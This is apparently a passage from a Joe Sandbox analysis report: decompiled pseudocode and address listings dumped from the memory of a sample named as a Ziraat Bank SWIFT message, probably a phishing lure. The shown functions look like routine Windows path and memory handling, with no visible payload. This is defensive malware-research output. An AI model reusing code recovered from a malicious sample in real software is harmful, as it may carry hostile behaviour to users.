															_t333 =  *((intOrPtr*)(_t528 - 0xb4));
															__eflags =  *(_t333 + 0x36) & 0x00004000;
															if(( *(_t333 + 0x36) & 0x00004000) != 0) {
																_t334 =  *_t519;
															} else {
																_t334 = 0;
															}
															_t336 = _t334 & 0x000000ff;
															__eflags = _t336;
															_t427 =  *(_t528 - 0x88);
															if(_t336 == 0) {
																_t481 = _t479 + _t506;
																__eflags = _t481;
																 *(_t528 - 0x78) = _t481;
																E012BF3E0(_t479 + _t427, _t457, _t506);
																_t529 = _t529 + 0xc;
															} else {
																_t340 = _t336 - 1;
																__eflags = _t340;
																if(_t340 == 0) {
																	E012BF3E0( *(_t528 - 0xb8), _t457, _t506);
																	_t529 = _t529 + 0xc;
																	 *(_t528 - 0xb8) =  *(_t528 - 0xb8) + _t506;
																} else {
																	__eflags = _t340 == 0;
																	if(_t340 == 0) {
																		__eflags = _t506 - 8;
																		if(_t506 == 8) {
																			 *((intOrPtr*)(_t528 - 0xe0)) =  *_t457;
																			 *(_t528 - 0xdc) =  *(_t457 + 4);
																		}
																	}
																}
															}
															_t339 = 0x10;
															_t519 = _t519 + _t339;
															_t263 = _t528 - 0x8c;
															 *_t263 =  *(_t528 - 0x8c) - 1;
															__eflags =  *_t263;
															_t479 =  *(_t528 - 0x78);
														} while ( *_t263 != 0);
														goto L87;
													}
												}
											} else {
												_t392 =  *( *((intOrPtr*)(_t528 - 0xb4)) + 0x36) & 0x00004000;
												 *(_t528 - 0xa2) = _t392;
												_t469 =  *((intOrPtr*)(_t528 - 0xc8)) + 8;
												__eflags = _t469;
												while(1) {
													 *(_t528 - 0xe4) = _t511;
													__eflags = _t392;
													_t393 = _t427;
													if(_t392 != 0) {
														_t393 =  *((intOrPtr*)(_t469 + 4));
													}
													_t395 = (_t393 & 0x000000ff) - _t427;
													__eflags = _t395;
													if(_t395 == 0) {
														_t511 = _t511 +  *_t469;
														__eflags = _t511;
													} else {
														_t398 = _t395 - 1;
														__eflags = _t398;
														if(_t398 == 0) {
															 *(_t528 - 0x90) =  *(_t528 - 0x90) +  *_t469;
															 *(_t528 - 0xb0) =  *(_t528 - 0xb0) + 1;
														} else {
															__eflags = _t398 == 1;
															if(_t398 == 1) {
																 *(_t528 - 0xa8) =  *(_t469 - 8);
																_t402 =  *_t469 & 0x0000ffff;
																 *(_t528 - 0xac) = _t402;
																_t511 = _t511 + ((_t402 & 0x0000ffff) + 0x0000000f & 0xfffffff8);
															}
														}
													}
													__eflags = _t511 -  *(_t528 - 0xe4);
													if(_t511 <  *(_t528 - 0xe4)) {
														break;
													}
													_t397 =  *(_t528 - 0x88) + 1;
													 *(_t528 - 0x88) = _t397;
													_t469 = _t469 + 0x10;
													__eflags = _t397 -  *(_t528 + 0x1c);
													_t392 =  *(_t528 - 0xa2);
													if(_t397 <  *(_t528 + 0x1c)) {
														continue;
													}
													goto L45;
												}
												_t475 = 0x216;
												 *(_t528 - 0x74) = 0x216;
												goto L45;
											}
										} else {
											asm("lock dec dword [eax+ecx*8+0x4]");
											goto L16;
										}
									}
									_t491 = E01344CAB(_t306, _t528 - 0xa4);
									 *(_t528 - 0x74) = _t491;
									__eflags = _t491;
									if(_t491 != 0) {
										goto L91;
									} else {
										_t474 =  *((intOrPtr*)(_t528 - 0x94));
										goto L20;
									}
								}
								L16:
								 *(_t528 - 0x74) = 0x1069;
								L93:
								_t298 =  *(_t528 - 0xd0) + 1;
								 *(_t528 - 0xd0) = _t298;
								_t474 = _t474 + _t511;
								 *((intOrPtr*)(_t528 - 0x94)) = _t474;
								_t494 = 4;
								__eflags = _t298 - _t494;
								if(_t298 >= _t494) {
									goto L100;
								}
								_t494 =  *(_t528 - 0xcc);
								_t435 = _t298;
								continue;
							}
							__eflags = _t494[2] | _t494[3];
							if((_t494[2] | _t494[3]) == 0) {
								goto L15;
							}
							goto L12;
						}
						__eflags = _t301;
						if(_t301 != 0) {
							goto L92;
						}
						goto L10;
						L92:
						goto L93;
					}
				} else {
					_push(0x57);
					L101:
					return E012CD130(_t427, _t494, _t511);
				}
			}










































































                                                                        0x01345ba5
                                                                        0x01345baa
                                                                        0x01345baf
                                                                        0x01345bb4
                                                                        0x01345bb6
                                                                        0x01345bbc
                                                                        0x01345bbe
                                                                        0x01345bc4
                                                                        0x01345bcd
                                                                        0x01345bd3
                                                                        0x01345bd6
                                                                        0x01345bdc
                                                                        0x01345be0
                                                                        0x01345be3
                                                                        0x01345beb
                                                                        0x01345bf2
                                                                        0x01345bf8
                                                                        0x01345bfe
                                                                        0x01345c04
                                                                        0x01345c0e
                                                                        0x01345c18
                                                                        0x01345c1f
                                                                        0x01345c25
                                                                        0x01345c2a
                                                                        0x01345c2c
                                                                        0x01345c32
                                                                        0x01345c3a
                                                                        0x01345c3f
                                                                        0x01345c42
                                                                        0x01345c48
                                                                        0x01345c5b
                                                                        0x01345c5b
                                                                        0x01345c2c
                                                                        0x01345cb7
                                                                        0x01345cb9
                                                                        0x01345cbf
                                                                        0x01345cc2
                                                                        0x01345cca
                                                                        0x01345ccb
                                                                        0x01345ccb
                                                                        0x01345cd1
                                                                        0x01345cd7
                                                                        0x01345cda
                                                                        0x01345ce1
                                                                        0x01345ce4
                                                                        0x01345ce7
                                                                        0x01345ced
                                                                        0x01345cf3
                                                                        0x01345cf9
                                                                        0x01345cff
                                                                        0x01345d08
                                                                        0x01345d0a
                                                                        0x01345d0e
                                                                        0x01345d10
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01345d16
                                                                        0x01345d1a
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01345d20
                                                                        0x01345d22
                                                                        0x01345d25
                                                                        0x01345d2f
                                                                        0x01345d2f
                                                                        0x01345d33
                                                                        0x01345d3d
                                                                        0x01345d49
                                                                        0x01345d4b
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01345d5a
                                                                        0x01345d5d
                                                                        0x01345d60
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01345d66
                                                                        0x01345d69
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01345d6f
                                                                        0x01345d6f
                                                                        0x01345d73
                                                                        0x01345d79
                                                                        0x01345d7f
                                                                        0x01345d86
                                                                        0x01345d95
                                                                        0x01345d98
                                                                        0x01345dba
                                                                        0x01345dcb
                                                                        0x01345dce
                                                                        0x01345dd3
                                                                        0x01345dd6
                                                                        0x01345dd8
                                                                        0x01345de6
                                                                        0x01345dec
                                                                        0x01345dee
                                                                        0x01345df1
                                                                        0x01345df3
                                                                        0x0134635a
                                                                        0x0134635a
                                                                        0x00000000
                                                                        0x0134635a
                                                                        0x01345dfe
                                                                        0x01345e02
                                                                        0x01345e05
                                                                        0x01345e07
                                                                        0x01345e10
                                                                        0x01345e13
                                                                        0x01345e1b
                                                                        0x01345e1c
                                                                        0x01345e21
                                                                        0x01345e22
                                                                        0x01345e23
                                                                        0x01345e25
                                                                        0x01345e2a
                                                                        0x01345e2c
                                                                        0x01345e2e
                                                                        0x01345e36
                                                                        0x01345e39
                                                                        0x01345e42
                                                                        0x01345e47
                                                                        0x01345e4d
                                                                        0x01345e54
                                                                        0x01345e54
                                                                        0x01345e54
                                                                        0x01345e2e
                                                                        0x01345e5c
                                                                        0x01345e5f
                                                                        0x01345e62
                                                                        0x01345e64
                                                                        0x01345e6b
                                                                        0x01345e70
                                                                        0x01345e7a
                                                                        0x01345e7a
                                                                        0x01345e7a
                                                                        0x01345e6b
                                                                        0x01345e7e
                                                                        0x01345e7f
                                                                        0x01345e7f
                                                                        0x01345e81
                                                                        0x01345e87
                                                                        0x01345e8b
                                                                        0x01345e8c
                                                                        0x01345e8c
                                                                        0x01345e8c
                                                                        0x01345e9a
                                                                        0x01345e9c
                                                                        0x01345ea2
                                                                        0x01345ea6
                                                                        0x01345f50
                                                                        0x01345f50
                                                                        0x01345f57
                                                                        0x01345f66
                                                                        0x01345f66
                                                                        0x01345f66
                                                                        0x01345f68
                                                                        0x01345f6a
                                                                        0x013463d0
                                                                        0x00000000
                                                                        0x01345f70
                                                                        0x01345f70
                                                                        0x01345f91
                                                                        0x01345f9c
                                                                        0x01345f9e
                                                                        0x01345fa4
                                                                        0x01345fa6
                                                                        0x0134638c
                                                                        0x01346392
                                                                        0x013463a1
                                                                        0x013463a7
                                                                        0x013463af
                                                                        0x013463af
                                                                        0x013463bd
                                                                        0x013463d8
                                                                        0x00000000
                                                                        0x013463d8
                                                                        0x01345fac
                                                                        0x01345fb2
                                                                        0x01345fb4
                                                                        0x01345fbd
                                                                        0x01345fc6
                                                                        0x01345fce
                                                                        0x01345fd4
                                                                        0x01345fdc
                                                                        0x01345fec
                                                                        0x01345fed
                                                                        0x01345fee
                                                                        0x01345fef
                                                                        0x01345ff9
                                                                        0x01345ffa
                                                                        0x01345ffb
                                                                        0x01345ffc
                                                                        0x01346000
                                                                        0x01346004
                                                                        0x01346012
                                                                        0x01346012
                                                                        0x01346018
                                                                        0x01346019
                                                                        0x0134601a
                                                                        0x0134601b
                                                                        0x0134601c
                                                                        0x01346020
                                                                        0x01346059
                                                                        0x0134605c
                                                                        0x01346061
                                                                        0x01346061
                                                                        0x01346022
                                                                        0x01346022
                                                                        0x01346022
                                                                        0x01346025
                                                                        0x0134602a
                                                                        0x0134602b
                                                                        0x01346031
                                                                        0x01346037
                                                                        0x01346038
                                                                        0x0134603e
                                                                        0x01346048
                                                                        0x01346049
                                                                        0x0134604a
                                                                        0x0134604b
                                                                        0x0134604c
                                                                        0x0134604d
                                                                        0x01346053
                                                                        0x01346054
                                                                        0x01346054
                                                                        0x01346062
                                                                        0x01346065
                                                                        0x01346067
                                                                        0x0134606a
                                                                        0x01346070
                                                                        0x01346075
                                                                        0x01346076
                                                                        0x01346081
                                                                        0x01346087
                                                                        0x01346095
                                                                        0x01346099
                                                                        0x0134609e
                                                                        0x013460a4
                                                                        0x013460ae
                                                                        0x013460b0
                                                                        0x013460b3
                                                                        0x013460b6
                                                                        0x013460b8
                                                                        0x013460ba
                                                                        0x013460ba
                                                                        0x013460ba
                                                                        0x013460ba
                                                                        0x013460be
                                                                        0x013460c0
                                                                        0x013460c5
                                                                        0x013460c5
                                                                        0x013460c5
                                                                        0x013460c6
                                                                        0x013460cd
                                                                        0x01346114
                                                                        0x013460cf
                                                                        0x013460cf
                                                                        0x013460d4
                                                                        0x013460d5
                                                                        0x013460da
                                                                        0x013460db
                                                                        0x013460e1
                                                                        0x013460e2
                                                                        0x013460e8
                                                                        0x013460f8
                                                                        0x013460fd
                                                                        0x013460fe
                                                                        0x01346102
                                                                        0x01346104
                                                                        0x01346107
                                                                        0x01346109
                                                                        0x0134610b
                                                                        0x0134610b
                                                                        0x0134610b
                                                                        0x0134610b
                                                                        0x0134610f
                                                                        0x0134610f
                                                                        0x01346117
                                                                        0x0134611a
                                                                        0x0134611f
                                                                        0x01346125
                                                                        0x01346134
                                                                        0x01346139
                                                                        0x0134613f
                                                                        0x01346146
                                                                        0x01346148
                                                                        0x0134614b
                                                                        0x0134614d
                                                                        0x0134614f
                                                                        0x0134614f
                                                                        0x0134614f
                                                                        0x0134614f
                                                                        0x01346153
                                                                        0x01346159
                                                                        0x01346159
                                                                        0x0134615c
                                                                        0x01346163
                                                                        0x01346169
                                                                        0x0134616c
                                                                        0x01346172
                                                                        0x01346181
                                                                        0x01346186
                                                                        0x01346187
                                                                        0x0134618b
                                                                        0x01346191
                                                                        0x01346195
                                                                        0x013461a3
                                                                        0x013461bb
                                                                        0x013461c0
                                                                        0x013461c3
                                                                        0x013461cc
                                                                        0x013461d0
                                                                        0x013461dc
                                                                        0x013461de
                                                                        0x013461e1
                                                                        0x013461e4
                                                                        0x013461e6
                                                                        0x013461e8
                                                                        0x013461e8
                                                                        0x013461e8
                                                                        0x013461e8
                                                                        0x013461e6
                                                                        0x013461ec
                                                                        0x013461f3
                                                                        0x01346203
                                                                        0x01346209
                                                                        0x0134620a
                                                                        0x01346216
                                                                        0x0134621d
                                                                        0x01346227
                                                                        0x01346241
                                                                        0x01346246
                                                                        0x0134624c
                                                                        0x01346257
                                                                        0x01346259
                                                                        0x0134625c
                                                                        0x0134625e
                                                                        0x01346260
                                                                        0x01346260
                                                                        0x01346260
                                                                        0x01346260
                                                                        0x0134625e
                                                                        0x01346264
                                                                        0x01346267
                                                                        0x01346269
                                                                        0x01346315
                                                                        0x01346315
                                                                        0x0134631b
                                                                        0x0134631e
                                                                        0x01346324
                                                                        0x01346327
                                                                        0x0134632f
                                                                        0x01346330
                                                                        0x01346333
                                                                        0x0134633a
                                                                        0x0134633c
                                                                        0x01346335
                                                                        0x01346335
                                                                        0x01346335
                                                                        0x0134633f
                                                                        0x01346342
                                                                        0x0134634c
                                                                        0x01346352
                                                                        0x01346355
                                                                        0x01346355
                                                                        0x01346359
                                                                        0x00000000
                                                                        0x0134626f
                                                                        0x01346275
                                                                        0x01346275
                                                                        0x01346278
                                                                        0x0134627e
                                                                        0x0134627e
                                                                        0x01346281
                                                                        0x01346287
                                                                        0x0134628d
                                                                        0x01346298
                                                                        0x0134629c
                                                                        0x013462a2
                                                                        0x0134629e
                                                                        0x0134629e
                                                                        0x0134629e
                                                                        0x013462a7
                                                                        0x013462a7
                                                                        0x013462aa
                                                                        0x013462b0
                                                                        0x013462f0
                                                                        0x013462f0
                                                                        0x013462f2
                                                                        0x013462f8
                                                                        0x013462fd
                                                                        0x013462b2
                                                                        0x013462b2
                                                                        0x013462b2
                                                                        0x013462b5
                                                                        0x013462dd
                                                                        0x013462e2
                                                                        0x013462e5
                                                                        0x013462b7
                                                                        0x013462b8
                                                                        0x013462bb
                                                                        0x013462bd
                                                                        0x013462c0
                                                                        0x013462c4
                                                                        0x013462cd
                                                                        0x013462cd
                                                                        0x013462c0
                                                                        0x013462bb
                                                                        0x013462b5
                                                                        0x01346302
                                                                        0x01346303
                                                                        0x01346305
                                                                        0x01346305
                                                                        0x01346305
                                                                        0x0134630c
                                                                        0x0134630c
                                                                        0x00000000
                                                                        0x0134627e
                                                                        0x01346269
                                                                        0x01345eac
                                                                        0x01345ebb
                                                                        0x01345ebe
                                                                        0x01345ecb
                                                                        0x01345ecb
                                                                        0x01345ece
                                                                        0x01345ece
                                                                        0x01345ed4
                                                                        0x01345ed7
                                                                        0x01345ed9
                                                                        0x01345edb
                                                                        0x01345edb
                                                                        0x01345ee1
                                                                        0x01345ee1
                                                                        0x01345ee3
                                                                        0x01345f20
                                                                        0x01345f20
                                                                        0x01345ee5
                                                                        0x01345ee5
                                                                        0x01345ee5
                                                                        0x01345ee8
                                                                        0x01345f11
                                                                        0x01345f18
                                                                        0x01345eea
                                                                        0x01345eea
                                                                        0x01345eed
                                                                        0x01345ef2
                                                                        0x01345ef8
                                                                        0x01345efb
                                                                        0x01345f0a
                                                                        0x01345f0a
                                                                        0x01345eed
                                                                        0x01345ee8
                                                                        0x01345f22
                                                                        0x01345f28
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01345f30
                                                                        0x01345f31
                                                                        0x01345f37
                                                                        0x01345f3a
                                                                        0x01345f3d
                                                                        0x01345f44
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01345f46
                                                                        0x01345f48
                                                                        0x01345f4d
                                                                        0x00000000
                                                                        0x01345f4d
                                                                        0x01345dda
                                                                        0x01345ddf
                                                                        0x00000000
                                                                        0x01345ddf
                                                                        0x01345dd8
                                                                        0x01345da7
                                                                        0x01345da9
                                                                        0x01345dac
                                                                        0x01345dae
                                                                        0x00000000
                                                                        0x01345db4
                                                                        0x01345db4
                                                                        0x00000000
                                                                        0x01345db4
                                                                        0x01345dae
                                                                        0x01345d88
                                                                        0x01345d8d
                                                                        0x01346363
                                                                        0x01346369
                                                                        0x0134636a
                                                                        0x01346370
                                                                        0x01346372
                                                                        0x0134637a
                                                                        0x0134637b
                                                                        0x0134637d
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0134637f
                                                                        0x01346385
                                                                        0x00000000
                                                                        0x01346385
                                                                        0x01345d38
                                                                        0x01345d3b
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01345d3b
                                                                        0x01345d27
                                                                        0x01345d29
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01346360
                                                                        0x00000000
                                                                        0x01346360
                                                                        0x01345c10
                                                                        0x01345c10
                                                                        0x013463da
                                                                        0x013463e5
                                                                        0x013463e5

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: b76bf6389474e0d9d81efa62660ddd04c1869c0a97c2ff4ab4fa1af0901c4d3a
                                                                        • Instruction ID: 306a4c45fb5dc0f3542e1a1a3e81c275b4bfadd74796deb2ed5662d96cd834d5
                                                                        • Opcode Fuzzy Hash: b76bf6389474e0d9d81efa62660ddd04c1869c0a97c2ff4ab4fa1af0901c4d3a
                                                                        • Instruction Fuzzy Hash: 57424BB5D10269CFDB24CF68C881BA9BBF1FF45308F1481AAD94DAB252D734A985CF50
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01294120 Relevance: .4, Instructions: 444COMMONCrypto
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 92%
                                                                        			E01294120(signed char __ecx, signed short* __edx, signed short* _a4, signed int _a8, signed short* _a12, signed short* _a16, signed short _a20) {
				signed int _v8;
				void* _v20;
				signed int _v24;
				char _v532;
				char _v540;
				signed short _v544;
				signed int _v548;
				signed short* _v552;
				signed short _v556;
				signed short* _v560;
				signed short* _v564;
				signed short* _v568;
				void* _v570;
				signed short* _v572;
				signed short _v576;
				signed int _v580;
				char _v581;
				void* _v584;
				unsigned int _v588;
				signed short* _v592;
				void* _v597;
				void* _v600;
				void* _v604;
				void* _v609;
				void* _v616;
				void* __ebx;
				void* __edi;
				void* __esi;
				char _t161;
				signed int _t162;
				unsigned int _t163;
				void* _t169;
				signed short _t173;
				signed short _t177;
				signed short _t181;
				unsigned int _t182;
				signed int _t185;
				signed int _t213;
				signed int _t225;
				short _t233;
				signed char _t234;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int _t250;
				void* _t251;
				signed short* _t254;
				void* _t255;
				signed int _t256;
				void* _t257;
				signed short* _t260;
				signed short _t265;
				signed short* _t269;
				signed short _t271;
				signed short** _t272;
				signed short* _t275;
				signed short _t282;
				signed short _t283;
				signed short _t290;
				signed short _t299;
				signed short _t307;
				signed int _t308;
				signed short _t311;
				signed short* _t315;
				signed short _t316;
				void* _t317;
				void* _t319;
				signed short* _t321;
				void* _t322;
				void* _t323;
				unsigned int _t324;
				signed int _t325;
				void* _t326;
				signed int _t327;
				signed int _t329;

				_t329 = (_t327 & 0xfffffff8) - 0x24c;
				_v8 =  *0x136d360 ^ _t329;
				_t157 = _a8;
				_t321 = _a4;
				_t315 = __edx;
				_v548 = __ecx;
				_t305 = _a20;
				_v560 = _a12;
				_t260 = _a16;
				_v564 = __edx;
				_v580 = _a8;
				_v572 = _t260;
				_v544 = _a20;
				if( *__edx <= 8) {
					L3:
					if(_t260 != 0) {
						 *_t260 = 0;
					}
					_t254 =  &_v532;
					_v588 = 0x208;
					if((_v548 & 0x00000001) != 0) {
						_v556 =  *_t315;
						_v552 = _t315[2];
						_t161 = E012AF232( &_v556);
						_t316 = _v556;
						_v540 = _t161;
						goto L17;
					} else {
						_t306 = 0x208;
						_t298 = _t315;
						_t316 = E01296E30(_t315, 0x208, _t254, _t260,  &_v581,  &_v540);
						if(_t316 == 0) {
							L68:
							_t322 = 0xc0000033;
							goto L39;
						} else {
							while(_v581 == 0) {
								_t233 = _v588;
								if(_t316 > _t233) {
									_t234 = _v548;
									if((_t234 & 0x00000004) != 0 || (_t234 & 0x00000008) == 0 &&  *((char*)( *[fs:0x30] + 3)) < 0) {
										_t254 = L01294620(_t298,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t316);
										if(_t254 == 0) {
											_t169 = 0xc0000017;
										} else {
											_t298 = _v564;
											_v588 = _t316;
											_t306 = _t316;
											_t316 = E01296E30(_v564, _t316, _t254, _v572,  &_v581,  &_v540);
											if(_t316 != 0) {
												continue;
											} else {
												goto L68;
											}
										}
									} else {
										goto L90;
									}
								} else {
									_v556 = _t316;
									 *((short*)(_t329 + 0x32)) = _t233;
									_v552 = _t254;
									if(_t316 < 2) {
										L11:
										if(_t316 < 4 ||  *_t254 == 0 || _t254[1] != 0x3a) {
											_t161 = 5;
										} else {
											if(_t316 < 6) {
												L87:
												_t161 = 3;
											} else {
												_t242 = _t254[2] & 0x0000ffff;
												if(_t242 != 0x5c) {
													if(_t242 == 0x2f) {
														goto L16;
													} else {
														goto L87;
													}
													goto L101;
												} else {
													L16:
													_t161 = 2;
												}
											}
										}
									} else {
										_t243 =  *_t254 & 0x0000ffff;
										if(_t243 == 0x5c || _t243 == 0x2f) {
											if(_t316 < 4) {
												L81:
												_t161 = 4;
												goto L17;
											} else {
												_t244 = _t254[1] & 0x0000ffff;
												if(_t244 != 0x5c) {
													if(_t244 == 0x2f) {
														goto L60;
													} else {
														goto L81;
													}
												} else {
													L60:
													if(_t316 < 6) {
														L83:
														_t161 = 1;
														goto L17;
													} else {
														_t245 = _t254[2] & 0x0000ffff;
														if(_t245 != 0x2e) {
															if(_t245 == 0x3f) {
																goto L62;
															} else {
																goto L83;
															}
														} else {
															L62:
															if(_t316 < 8) {
																L85:
																_t161 = ((0 | _t316 != 0x00000006) - 0x00000001 & 0x00000006) + 1;
																goto L17;
															} else {
																_t250 = _t254[3] & 0x0000ffff;
																if(_t250 != 0x5c) {
																	if(_t250 == 0x2f) {
																		goto L64;
																	} else {
																		goto L85;
																	}
																} else {
																	L64:
																	_t161 = 6;
																	goto L17;
																}
															}
														}
													}
												}
											}
											goto L101;
										} else {
											goto L11;
										}
									}
									L17:
									if(_t161 != 2) {
										_t162 = _t161 - 1;
										if(_t162 > 5) {
											goto L18;
										} else {
											switch( *((intOrPtr*)(_t162 * 4 +  &M012945F8))) {
												case 0:
													_v568 = 0x1251078;
													__eax = 2;
													goto L20;
												case 1:
													goto L18;
												case 2:
													_t163 = 4;
													goto L19;
											}
										}
										goto L41;
									} else {
										L18:
										_t163 = 0;
										L19:
										_v568 = 0x12511c4;
									}
									L20:
									_v588 = _t163;
									_v564 = _t163 + _t163;
									_t306 =  *_v568 & 0x0000ffff;
									_t265 = _t306 - _v564 + 2 + (_t316 & 0x0000ffff);
									_v576 = _t265;
									if(_t265 > 0xfffe) {
										L90:
										_t322 = 0xc0000106;
									} else {
										if(_t321 != 0) {
											if(_t265 > (_t321[1] & 0x0000ffff)) {
												if(_v580 != 0) {
													goto L23;
												} else {
													_t322 = 0xc0000106;
													goto L39;
												}
											} else {
												_t177 = _t306;
												goto L25;
											}
											goto L101;
										} else {
											if(_v580 == _t321) {
												_t322 = 0xc000000d;
											} else {
												L23:
												_t173 = L01294620(_t265,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t265);
												_t269 = _v592;
												_t269[2] = _t173;
												if(_t173 == 0) {
													_t322 = 0xc0000017;
												} else {
													_t316 = _v556;
													 *_t269 = 0;
													_t321 = _t269;
													_t269[1] = _v576;
													_t177 =  *_v568 & 0x0000ffff;
													L25:
													_v580 = _t177;
													if(_t177 == 0) {
														L29:
														_t307 =  *_t321 & 0x0000ffff;
													} else {
														_t290 =  *_t321 & 0x0000ffff;
														_v576 = _t290;
														_t310 = _t177 & 0x0000ffff;
														if((_t290 & 0x0000ffff) + (_t177 & 0x0000ffff) > (_t321[1] & 0x0000ffff)) {
															_t307 =  *_t321 & 0xffff;
														} else {
															_v576 = _t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2;
															E012BF720(_t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2, _v568[2], _t310);
															_t329 = _t329 + 0xc;
															_t311 = _v580;
															_t225 =  *_t321 + _t311 & 0x0000ffff;
															 *_t321 = _t225;
															if(_t225 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v576 + ((_t311 & 0x0000ffff) >> 1) * 2)) = 0;
															}
															goto L29;
														}
													}
													_t271 = _v556 - _v588 + _v588;
													_v580 = _t307;
													_v576 = _t271;
													if(_t271 != 0) {
														_t308 = _t271 & 0x0000ffff;
														_v588 = _t308;
														if(_t308 + (_t307 & 0x0000ffff) <= (_t321[1] & 0x0000ffff)) {
															_v580 = _t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2;
															E012BF720(_t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2, _v552 + _v564, _t308);
															_t329 = _t329 + 0xc;
															_t213 =  *_t321 + _v576 & 0x0000ffff;
															 *_t321 = _t213;
															if(_t213 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v580 + (_v588 >> 1) * 2)) = 0;
															}
														}
													}
													_t272 = _v560;
													if(_t272 != 0) {
														 *_t272 = _t321;
													}
													_t306 = 0;
													 *((short*)(_t321[2] + (( *_t321 & 0x0000ffff) >> 1) * 2)) = 0;
													_t275 = _v572;
													if(_t275 != 0) {
														_t306 =  *_t275;
														if(_t306 != 0) {
															 *_t275 = ( *_v568 & 0x0000ffff) - _v564 - _t254 + _t306 + _t321[2];
														}
													}
													_t181 = _v544;
													if(_t181 != 0) {
														 *_t181 = 0;
														 *((intOrPtr*)(_t181 + 4)) = 0;
														 *((intOrPtr*)(_t181 + 8)) = 0;
														 *((intOrPtr*)(_t181 + 0xc)) = 0;
														if(_v540 == 5) {
															_t182 = E012752A5(1);
															_v588 = _t182;
															if(_t182 == 0) {
																E0128EB70(1, 0x13679a0);
																goto L38;
															} else {
																_v560 = _t182 + 0xc;
																_t185 = E0128AA20( &_v556, _t182 + 0xc,  &_v556, 1);
																if(_t185 == 0) {
																	_t324 = _v588;
																	goto L97;
																} else {
																	_t306 = _v544;
																	_t282 = ( *_v560 & 0x0000ffff) - _v564 + ( *_v568 & 0x0000ffff) + _t321[2];
																	 *(_t306 + 4) = _t282;
																	_v576 = _t282;
																	_t325 = _t316 -  *_v560 & 0x0000ffff;
																	 *_t306 = _t325;
																	if( *_t282 == 0x5c) {
																		_t149 = _t325 - 2; // -2
																		_t283 = _t149;
																		 *_t306 = _t283;
																		 *(_t306 + 4) = _v576 + 2;
																		_t185 = _t283 & 0x0000ffff;
																	}
																	_t324 = _v588;
																	 *(_t306 + 2) = _t185;
																	if((_v548 & 0x00000002) == 0) {
																		L97:
																		asm("lock xadd [esi], eax");
																		if((_t185 | 0xffffffff) == 0) {
																			_push( *((intOrPtr*)(_t324 + 4)));
																			E012B95D0();
																			L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t324);
																		}
																	} else {
																		 *(_t306 + 0xc) = _t324;
																		 *((intOrPtr*)(_t306 + 8)) =  *((intOrPtr*)(_t324 + 4));
																	}
																	goto L38;
																}
															}
															goto L41;
														}
													}
													L38:
													_t322 = 0;
												}
											}
										}
									}
									L39:
									if(_t254 !=  &_v532) {
										L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t254);
									}
									_t169 = _t322;
								}
								goto L41;
							}
							goto L68;
						}
					}
					L41:
					_pop(_t317);
					_pop(_t323);
					_pop(_t255);
					return E012BB640(_t169, _t255, _v8 ^ _t329, _t306, _t317, _t323);
				} else {
					_t299 = __edx[2];
					if( *_t299 == 0x5c) {
						_t256 =  *(_t299 + 2) & 0x0000ffff;
						if(_t256 != 0x5c) {
							if(_t256 != 0x3f) {
								goto L2;
							} else {
								goto L50;
							}
						} else {
							L50:
							if( *((short*)(_t299 + 4)) != 0x3f ||  *((short*)(_t299 + 6)) != 0x5c) {
								goto L2;
							} else {
								_t251 = E012B3D43(_t315, _t321, _t157, _v560, _v572, _t305);
								_pop(_t319);
								_pop(_t326);
								_pop(_t257);
								return E012BB640(_t251, _t257, _v24 ^ _t329, _t321, _t319, _t326);
							}
						}
					} else {
						L2:
						_t260 = _v572;
						goto L3;
					}
				}
				L101:
			}















































































                                                                        0x01294128
                                                                        0x01294135
                                                                        0x0129413c
                                                                        0x01294141
                                                                        0x01294145
                                                                        0x01294147
                                                                        0x0129414e
                                                                        0x01294151
                                                                        0x01294159
                                                                        0x0129415c
                                                                        0x01294160
                                                                        0x01294164
                                                                        0x01294168
                                                                        0x0129416c
                                                                        0x0129417f
                                                                        0x01294181
                                                                        0x0129446a
                                                                        0x0129446a
                                                                        0x0129418c
                                                                        0x01294195
                                                                        0x01294199
                                                                        0x01294432
                                                                        0x01294439
                                                                        0x0129443d
                                                                        0x01294442
                                                                        0x01294447
                                                                        0x00000000
                                                                        0x0129419f
                                                                        0x012941a3
                                                                        0x012941b1
                                                                        0x012941b9
                                                                        0x012941bd
                                                                        0x012945db
                                                                        0x012945db
                                                                        0x00000000
                                                                        0x012941c3
                                                                        0x012941c3
                                                                        0x012941ce
                                                                        0x012941d4
                                                                        0x012de138
                                                                        0x012de13e
                                                                        0x012de169
                                                                        0x012de16d
                                                                        0x012de19e
                                                                        0x012de16f
                                                                        0x012de16f
                                                                        0x012de175
                                                                        0x012de179
                                                                        0x012de18f
                                                                        0x012de193
                                                                        0x00000000
                                                                        0x012de199
                                                                        0x00000000
